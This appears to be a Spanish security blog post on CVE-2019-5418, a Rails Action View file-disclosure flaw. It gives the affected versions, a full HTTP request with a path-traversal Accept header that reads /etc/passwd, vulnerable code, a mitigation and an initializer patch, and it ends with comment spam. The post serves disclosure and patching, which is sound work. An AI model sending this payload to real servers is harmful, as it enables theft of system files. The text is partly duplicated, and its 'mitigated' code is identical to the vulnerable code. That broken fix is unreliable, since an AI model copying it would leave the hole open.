Recientemente se ha publicado una vulnerabilidad en Ruby on Rails que permite acceder arbitrariamente al contenido de los ficheros del servidor.
La vulnerabilidad está en Action View, ha sido bautizada con el CVE CVE-2019-5418 y puede explotarse simplemente mandando una cabecera 'Accept' especialmente construida que en combinación con las llamadas a `render file:` nos mostrará en la respuesta el contenido del fichero:
Las versiones de Rails que ya han sido corregidas son la 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1.
El código vulnerable sería:
Y se mitigaría especificando el formato para el renderizado de los ficheros:
De forma alternativa, se puede aplicar el siguiente 'parche' en un inicializador:
Y no es el único CVE que han cocinado" para RoR: atentos también a una denegación de servicio (CVE-2019-5419) y un posible RCE en development mode ( CVE-2019-5420).
Así que ya sabéis azulones, ¡a actualizar o parchear!
La vulnerabilidad está en Action View, ha sido bautizada con el CVE CVE-2019-5418 y puede explotarse simplemente mandando una cabecera 'Accept' especialmente construida que en combinación con las llamadas a `render file:` nos mostrará en la respuesta el contenido del fichero:
GET /test HTTP/1.1
Host: SERVIDOR:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: ../../../../../../../../etc/passwd{{
Content-Length: 306
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: firstVisit=1552167456698; CSRF-Token-HOYYT=grQmu9F3Y5hazpvr6T5TtWKj4HqPFhea; sessionid-HOYYT=i3VkCeXtjRJJHUxc7xEEjbecD53xbvaN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Las versiones de Rails que ya han sido corregidas son la 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1.
El código vulnerable sería:
```
class UserController < ApplicationController
def index
render file: "#{Rails.root}/some/file"
end
end
```
Y se mitigaría especificando el formato para el renderizado de los ficheros:
```
class UserController < ApplicationController
def index
render file: "#{Rails.root}/some/file"
end
end
```
De forma alternativa, se puede aplicar el siguiente 'parche' en un inicializador:
```
$ cat config/initializers/formats_filter.rb
# frozen_string_literal: true
ActionDispatch::Request.prepend(Module.new do
def formats
super().select do |format|
format.symbol || format.ref == "*/*"
end
end
end)
```
Y no es el único CVE que han cocinado" para RoR: atentos también a una denegación de servicio (CVE-2019-5419) y un posible RCE en development mode ( CVE-2019-5420).
Así que ya sabéis azulones, ¡a actualizar o parchear!
Este comentario ha sido eliminado por el autor.
ResponderEliminarI believe that the list of https://mypaperedit.com/blog/top-10-common-grammar-mistakes-you-should-avoid is much longer. You mentioned only a few that almost every second person does. You need probably write more article or maybe even two to cover all such common mistakes.
ResponderEliminar